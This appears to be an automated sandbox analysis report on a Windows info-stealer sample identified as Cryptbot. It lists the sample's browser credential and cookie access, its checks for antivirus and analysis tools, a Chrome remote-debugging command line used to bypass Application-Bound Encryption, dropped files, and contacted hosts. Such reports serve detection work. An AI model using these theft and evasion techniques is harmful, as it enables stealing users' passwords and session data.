Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: FMuiLqyqaT.exe, 00000000.00000003.1602871674.0000000007180000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: procmon.exe
Source: Amcache.hve.14.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.14.dr Binary or memory string: msmpeng.exe
Source: FMuiLqyqaT.exe, 00000000.00000003.1602871674.0000000007180000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: wireshark.exe
Source: Amcache.hve.14.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.14.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.14.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Clipboard Hijacker
Source: Yara match File source: 9.2.service123.exe.6c6b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: Process Memory Space: service123.exe PID: 7660, type: MEMORYSTR
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
Leaks process information
Source: global traffic TCP traffic: 192.168.2.8:49705 -> 185.121.15.192:80
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior

Remote Access Functionality
barindex
Attempt to bypass Chrome Application-Bound Encryption
Source: C:\Users\user\Desktop\FMuiLqyqaT.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1580273 Sample: FMuiLqyqaT.exe Startdate: 24/12/2024 Architecture: WINDOWS Score: 100 50 Suricata IDS alerts for network traffic 2->50 52 Antivirus / Scanner detection for submitted sample 2->52 54 Multi AV Scanner detection for submitted file 2->54 56 7 other signatures 2->56 7 FMuiLqyqaT.exe 5 3 2->7         started        12 service123.exe 2->12         started        14 service123.exe 2->14         started        16 3 other processes 2->16 process3 dnsIp4 40 twentytk20ht.top 185.121.15.192, 49705, 49706, 49711 REDSERVICIOES Spain 7->40 42 httpbin.org 34.226.108.155, 443, 49704 AMAZON-AESUS United States 7->42 44 2 other IPs or domains 7->44 36 C:\Users\user\AppData\...\service123.exe, PE32 7->36 dropped 38 C:\Users\user\...LLRGATenShKoyKeRtXA.dll, PE32 7->38 dropped 62 Attempt to bypass Chrome Application-Bound Encryption 7->62 64 Tries to detect sandboxes and other dynamic analysis tools (window names) 7->64 66 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 7->66 68 8 other signatures 7->68 18 service123.exe 7->18         started        21 WerFault.exe 19 16 7->21         started        24 chrome.exe 7->24         started        27 schtasks.exe 1 7->27         started        file5 signatures6 process7 dnsIp8 58 Found evasive API chain (may stop execution after checking mutex) 18->58 60 Found stalling execution ending in API Sleep call 18->60 34 C:\ProgramData\Microsoft\...\Report.wer, Unicode 21->34 dropped 46 239.255.255.250 unknown Reserved 24->46 29 chrome.exe 24->29         started        32 conhost.exe 27->32         started        file9 signatures10 process11 dnsIp12 48 www.google.com 142.250.181.68, 443, 49716, 49720 GOOGLEUS United States 29->48
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.121.15.192
 home.twentytk20ht.top Spain
207046 REDSERVICIOES false
34.226.108.155
 httpbin.org United States
14618 AMAZON-AESUS false
239.255.255.250
 unknown Reserved
unknown unknown false
142.250.181.68
 www.google.com United States
15169 GOOGLEUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
www.google.com 142.250.181.68 true
home.twentytk20ht.top 185.121.15.192 true
twentytk20ht.top 185.121.15.192 true
httpbin.org 34.226.108.155 true